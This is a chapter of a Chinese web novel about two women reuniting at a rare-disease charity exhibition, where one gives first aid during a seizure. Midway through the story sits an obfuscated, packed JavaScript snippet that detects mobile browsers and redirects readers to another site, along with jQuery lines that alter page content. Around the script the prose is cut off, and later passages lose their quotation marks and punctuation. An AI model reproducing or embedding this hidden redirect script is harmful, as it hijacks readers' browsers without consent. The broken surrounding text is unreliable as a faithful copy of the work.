第105章
作品:《占为己有》 周日中午,路遥和许山晴开车载着商楹前往海城某场馆。
她们这对小情侣本来就没有安排多么紧凑的行程,索性跟着商楹一起去这个以关爱罕见病为主题的公益展,区别在于她们是参展者,商楹是志愿者。
路边的梧桐树还有些秃,但枝桠不是深冬那样僵硬的褐色,而是藏着春意的萌动。
温暖日光往下倾洒,透过玻璃车窗,路遥在副驾舒服地闭上眼,慢悠悠开口:“不搓美甲的日子就是惬意啊,我把这两天的生活发到我们店的群聊裏,给我那些店员羡慕坏了。”
像MUSE这种檔次的高端美甲店,晋升通道狭窄不说,暗地裏的勾心斗角还一直没停过。
路遥在攒到一定存款以后便主动辞职,自立门户开了家美甲店,做美甲不再是她的日常,她更多的是参与到美甲的设计裏,而她本身在这方面就有天分,现在经营店铺一年下来,生意维持得还不错。
也是因为拥有了相对的自由,她才可以跟许山晴进行长达一个月的蜜月旅行。
“那路老板可以在海城多待待。”商楹靠在后座,她微垂着眼睫,翻着志愿者的微信群。
群裏一条条消息,全是关于现场的实时动态。
路遥嘆息:“要是我的存款能突然暴涨一百倍就好了,这样我就能在海城也开一家美甲店,国际大都市的人流量还是比柳城夸张多了。”这两天天气不错,以致于稍微热门的地方都寸步难行。
“我也盼着。”许山晴握着方向盘拐了个弯,说着睨了自己的恋人一眼,笑着打趣,“这样我往后都可以不用工作了,只需专心吃软饭!还请路老板多努力!”
路遥猛地睁开眼,握起拳头,干劲十足的模样:“好!三十一岁!正是拼的年纪!”
前排两人的互动落进眼底,商楹唇边的笑意深了深。
下一秒,又听路遥才回过神来似的,说:“哦买嘎!等等!我怎么就三十一岁了!我从恋姐的年纪都熬成姐了啊啊啊……”说到这裏又转过头去看后座的朋友,喊了声,“阿楹。”
商楹掀起眼皮,眼神很轻柔:“怎么?”
恰巧前方红灯亮起,轿车缓缓停了下来。
路遥伸手拍了拍许山晴的胳膊:“小许,你就说阿楹现在是不是特别姐姐。”
“阿楹一直都很姐姐。”许山晴非常客观地道,“以前比较含
蓄,现在再怎么含蓄也挡不住了。”
商楹无奈扶额,失笑着:“你们俩饶了我吧。”
半小时后,她们有说有笑地到达目的地。
商楹先一步下车去签到,路遥她们去停车,三人约了活动结束后彙合。
本次公益展是中大型规模,聚焦罕见病,主题叫“罕见不孤单”。
这样的爱心公益展一向是暖心打卡地,它精准戳中了大众的情感需求,又有足够的吸引力让人愿意主动参与和传播,再加上现在又是周末,前来看展的人络绎不绝,有些还是患者。
展馆就在一楼,展览的入口处立着一面罕见病名词墙,上面写着娃娃病、蝴蝶宝贝、渐冻症、克罗恩病等生僻病名,在病名的旁边标着通俗易懂的双语注释,而在墙下摆着罕见病患者的日常用品,比如脊柱矫正带、便于抓握的特制画笔等。
商楹领着一张主题卡片进入签到厅,在南城那三年裏她经常参加公益,来了海城这份习惯也依旧延续着。
签到的间隙裏,遇到几位相熟的公益伙伴,大家跟她打了打招呼。
商楹刚穿上志愿者外套,把志愿者胸牌别好,正抬手扯过发圈准备束起自己的长发,却听见一道女声在一侧响起:“商楹!”
她对声音向来敏锐,瞬间听出来了这人是谁,但循声望过去的时候,眼底还是掠过一丝不易察觉的诧异。
“好巧啊,商楹,我这两天搜了搜海城的公益活动,就报名了这个。”陈姜身前的胸牌随着她走路而晃了晃,她的脸上挂着笑,有些紧张地推了下自己的眼镜。
扎好头发,商楹微笑颔首,礼貌回应:“是很巧。”
“我现在要去‘生命分享会’那边,你也是吗?”陈姜走到商楹面前站定。
这场公益展既有本土的医生坐镇,也有海外专家助阵。
商楹在报名时填的就是现场翻译,在同传方面她主攻神经科,但这并不意味着她在其它医学学科翻译上薄弱。
“是。”
陈姜顺着邀请:“那一起。”
“好。”
两人并肩往“生命分享会”的会场走去,路上要经过展馆的核心,也是最能让人共情的地方,这裏分布着数个独立的小空间,还原了不同罕见病患者的真实生活场景。没有刻意的悲情渲染,只有烟火气的日常,可正是这些日常更加触动人心,不少参展者流着泪从隔间裏出来。
陈姜的目光
从一位流泪的参展者身上移开,她转头看向身侧的商楹,轻抿了下唇,道:“商楹,直到今天参加这场活动,我才觉得我参与晚了。
“只要出发了,什么时候都不晚。商楹目视前方,语气是一如既往的柔和,“而且你之前捐钱捐物资,早就在尽己所能了。
“你说得对。陈姜唇边绽开一抹笑。
她的视线一转,手指指向前方另一个区域:“那一片是什么?手册裏说的‘生命速写角’吗?
商楹顺着她指的方向看过去:“对。
她想着主办方的心意,也禁不住牵了牵唇角,为初次参加线下公益活动的人解释着:“主办方邀请了不少画师免费为参展的患者画肖像,这些肖像会做成明信片、帆布包之类的周边,还会在上面写下相应的患者语录,这些周边之后会在展区义卖,再把款项用于罕见病医疗救助裏。
等她说完,她们也恰好走到了速写角。
灯光笼着不大的区域,七八名画师正坐在椅子上,面前斜斜支着画板,正执笔细细描摹着对面落座的患者。
空气裏飘着画笔划过画纸的沙沙声,混着围观人员偶尔响起的低声交谈,安静又温暖。
楼照影坐在最边上的位置,笔尖在画纸上轻快游走。
奈何她的感冒没有痊愈,她这两天多有咳嗽,此刻正戴着绒线帽和口罩,将自己捂得严严实实,只露出一双专注的眼睛。
商楹的视线扫过一张张鲜活的画作,脚步放慢了些。
不知不觉间,她站到了一位戴着绒线帽的画师身后,静静看着这位画师为对面的小女孩添了一对轻盈的翅膀收尾,只不过看着看着,目光不由得落在这位画家右手戴着的戒指上。
她的大拇指指尖缓缓在自己空荡的中指指节摩挲。
待画家收了笔,朝着那位小女孩嗓音嘶哑地说“小朋友,姐姐画好啦,她才回过神来,颤了下眼睫,重新迈开脚步。
陈姜的视线也从这些画作上收回,跟上她的步伐:“这些人画得又快又好……
这样的赞嘆,楼照影今天已经听了好多次。
她扯了扯自己的口罩,默默抽出一张新的画纸,平整地铺在面前的画板上。
下一秒,她忍不住偏过头咳嗽。
等咳意稍缓,抬眼时,目光恰好从人群的缝隙裏看见两个渐行渐远的女人的背影。
其中一个束着头发的女人的背影和
商楹的很像。
过去这五年来,她曾无数次被这样相似的背影牵动心绪,而每一次的满怀期待,最终都会落得满心绝望。
“老师,该画下一幅画了。一旁的工作人员挡住她的视线,轻声提醒。
楼照影只得敛起想要追上去的心思:“嗯。
……
商楹站在一位金发医生身侧,身姿挺拔。
她的指尖捏着一页病历,目光扫过那些密集的英文医学术语,听着医生对患者说的话,语速平稳但字字清晰地翻译过去:“医生说您的病属于较温和的类型……关于您担心的药物副作用……
今天的公益展是在下午六点结束,距离闭馆还有半小时,展馆的人渐渐少了些。
灯光依旧温暖,只是少了些人声的喧扰。
等商楹送走最后一位咨询的患者,她抬腕看了眼手表,还有十分钟。
医生同她笑着道别,她回以一个微笑,随后挽起袖口,俯身整理咨询臺上散落的资料,她将各类诊疗手册按照病种归类,再把桌上的患者问卷仔细收起。
陈姜在自己的区域做完这些,过来和商楹集合。
她的怀裏抱着这沓问卷,非常轻松地对商楹笑着道:“好有意义的一个下午啊,商楹,原来亲身参加线下公益能带来这么强烈的满足感,以后周末可以做的事情又多了一项。
商楹也抱着问卷,点点头:“走吧,回去签字,还衣服。
比起抵达时的热闹,现在往回走的路上,已经见不到多少参展者了。
穿过速写角的时候,这裏更是空荡荡的,不见患者端坐的身影,画板上也干干净净,没有铺展画纸。
为了不让氛围太冷请,陈姜主动找着话题:“商楹,你会画画吗?
“不会。商楹摇了摇头,“没有这项天赋。
陈姜立马接话:“我也是,我妈以前还特意把我送去画室学过,结果当天老师打电话给我妈,问能不能把学费退回去。
听到这裏,商楹眼裏多了些笑意:“如果是我可能也是这个结局。
“但是你知道人有时候就是不信邪,长大以后我对画画还没死心,偷偷用自己的零花钱上网报了班。
陈姜说着有些哭笑不得:“后来发现人心险恶啊,那人收了钱只教了我两节课,最后注销账号跑路了,我画的有那么可怕吗?她摸了下自己的鼻尖,话锋一转,顺势抛出自己的邀约,
“诶,正好我今天刷软件,看见有人说海城过几天有个画展,我们要不去逛逛画展?平时接触到的工作强度太高了,逛展可以很放松。
商楹委婉拒绝:“我可能没空。
陈姜没有气馁:“那你今晚有空吗?我淘到一家还不错的餐厅……
“抱歉,陈姜,我跟我朋友们约好了。
“没事的没事的,不用抱歉。
闲聊的时间裏,她们走回签到厅。
大家归还着胸牌、外套、问卷,在单上签下自己的名字。
做完这些,商楹来到行李寄存处,她从柜子裏取出自己的大衣穿上,又抬手把束着的长发松了下来。
正理着发丝的间隙,对面的寄存间响起一声带着惊惶的呼喊:“有人倒下了!在抽搐!快打120!
这一声尖叫砸破室内的安宁,不少人投去视线。
商楹的动作倏地顿住,她的眉峰微蹙,脚步几乎是凭借着本能朝着声源处迈过去。
她绕过自己这边的寄存间,对面的入口围了一圈人,有人在举着手机打120,有人在慌乱地讨论着,现场不免有些混乱。
“麻烦让让。等商楹拨开人群外围,目光却倏然定格。
只见一道身影正半跪在地上,头上还戴着下午在速写角见过的那顶绒线帽,她的双手稳稳托着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179790|187284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地上人的头部,小心翼翼地将对方的身体侧翻。
依旧沙哑的嗓音透过人群传过来:“是癫痫发作,大家别围太近了,保持……
地上的这位志愿者双目紧闭,四肢时不时抽搐一下,嘴角还溢出少许白沫。
楼照影的话都没说完,喉间一阵浓郁发痒,她偏头咳嗽起来,咳到眼眶都透着红意。
下一刻,她听见一道清润女声猝不及防在身后响起:“请大家往后退一退,保持空气流通。
周遭的嘈杂仿佛瞬间被按下静音键,只剩那道声音在耳边响彻。
楼照影的眼睫颤动,她的咳嗽也忽而止住,随即,一双白色的球鞋停在她的视野裏,不等她抬头,商楹已经蹲了下来,黑色长发垂落在肩头。
商楹利落脱下自己的大衣外套迭起来,小心地垫到患者的头下,又仔细检查着对方的口腔,确认没有异物堵塞气道。
一举一动,都透着专业的沉稳。
商楹做完这一切抬眼,对着面前这位画师平稳启唇:“她的牙关没咬紧,暂时不用……
话说到一
半,却骤然顿住。
眼前的人还戴着医用口罩,只露出一双眼睛,也是这双眼睛,让她余下的话都卡在喉咙裏。
时间仿佛停滞不动,一切声响都消失殆尽。
其实只有两秒,可这短短两秒却漫长得像一个世纪。
眼睫扇了下,商楹回过神来,声音不自觉地放轻,这才把刚刚的话说完整:“暂时不用塞东西。
她垂下长睫,避开楼照影的目光。
她解着这位志愿者的领口,确保领口完全敞开,不会阻碍到呼吸过后,再抬腕看着自己的表,视线始终没有再往上。
不到两分钟,这位志愿者的抽搐渐渐平息,四肢也缓缓放松下来。
楼照影起身前往自己的寄存柜,从裏面取出一包湿巾,再折返回来蹲下为对方擦着嘴角的口水和白沫。
商楹错开自己的视线,不去看那枚戒指。
她抬起头,问打120的人们:“救护车快到了吗?
“说是五分钟内到,马上了。那位志愿者握着手机回答。
商楹颔首:“好的。
她说完这句紧紧抿着唇,又只低眼看着患者的脸,没有再往外多说什么,可那道落在自己身上的视线却难以忽略。
不多时,救护车的鸣笛声越来越近。
意识尚未彻底清醒的患者被抬上担架,主办方也有工作人员在这期间给她的家属打去电话说明情况。
商楹和楼照影无需随车前往,人群也逐渐散开。
“商楹。陈姜走过来,她看着商楹,眸光发亮,有些惊嘆地道,“你还会这些急救啊!
商楹应了声:“嗯。
她拿起在地上的大衣,指尖触到衣料,正准备抬起僵硬的脚步离开这裏。
这几分钟内在一旁始终沉寂着的人,却忽而开口提醒:“你的大衣脏了。
楼照影的指尖捏着商楹的衣服一角,她的眼裏不知何时覆上一层莹润的水光,说话本就有些发哑,此刻更裹着几分浸了泪意的鼻音,在微微发颤:“先用湿巾擦擦吧。
“……商楹没回话,转而对陈姜道,“陈姜,你先回去吧。
陈姜一口应下:“行,下次见,商楹。她扬扬手机,笑了笑,“我到家了会给你发消息的。
商楹点点头,待陈姜的身影彻底消失在拐角,她缓缓转头,看回身旁的人。
她对上楼照影湿润的眼眸,喉间微动,却禁不住语塞和茫然
有些不知道说什么。
说“好巧”吗?不适合。
说“好久不见”吗?不适合。
寄存间的人越来越少那些吵嚷逐渐褪去只剩她们两人静立在原地。
突兀的手机铃声响起打破她们之间沉静的氛围商楹从衣袋裏取出手机屏幕上跳动着路遥的备注她转过身滑屏接听:“遥遥。”
“阿楹你那边结束了吗?我们已经看完电影了。”她们俩简单看完这场公益展后便来到附近的商圈约会。
“结束了你们在路边吗?我……”
话还没说完身侧之人晃了晃身体绵软地往下倒。
商楹来不及多想手臂连忙揽过她的腰稳住身形对着电话那头的朋友们急急改口:“遥遥你们别等我了先去吃饭吧我晚点。”
匆匆挂断通话她看向怀裏的人。
楼照影的脸埋在她的颈窝口罩在她打电话的间隙裏摘下了滚烫的呼吸拂过她的肌肤唇瓣泛着干裂的粉白气息有些微弱。
“楼照影。”商楹放轻声音“你怎么了?”
被念到名字的人却没有应声长睫湿漉漉地垂着像沾了露水的蝴蝶。
寄存间只剩下她们两人有风从敞开的门一点点吹进来到处散步。
商楹犹豫两秒还是低下头去将自己的额头轻轻印在楼照影的额上超出想象的温度烫得她眉心都拧了起来心裏那些迟疑和疏离也都被驱散
她没再多想勾住楼照影的膝弯稍一用力将人横抱起来脚步沉稳地往外走。
过去这么些年楼照影竟然比记忆裏的轻了些抱在怀裏像一片随时会被风吹走的羽毛。
天边挂着灿烂的晚霞道路上车流不息。
傍晚的风携着暖意吹起她们的发丝霞光落在她们身上将她们的影子拉得细长再次交迭在一起。
像无数个从前。
作者有话说:
来了来了!!!
重逢时在老婆面前昏迷第一人

